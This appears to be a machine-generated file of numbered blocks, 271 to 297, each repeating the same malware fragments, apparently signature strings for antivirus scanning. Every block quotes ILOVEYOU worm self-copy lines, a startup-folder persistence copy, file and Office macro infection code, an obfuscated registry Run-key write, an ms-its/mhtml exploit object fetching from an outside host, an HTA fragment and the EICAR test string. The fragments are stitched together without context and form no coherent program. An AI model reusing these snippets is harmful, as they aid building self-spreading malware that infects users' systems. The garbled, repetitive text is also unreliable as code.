 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

271

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

272

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

273

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

274

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

275

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

276

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

277

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

278

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

279

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

280

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

281

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

282

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

283

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

284

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

285

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

286

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

287

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

288

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

289

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

290

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

291

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

292

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

293

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

294

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

295

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

296

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

297

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
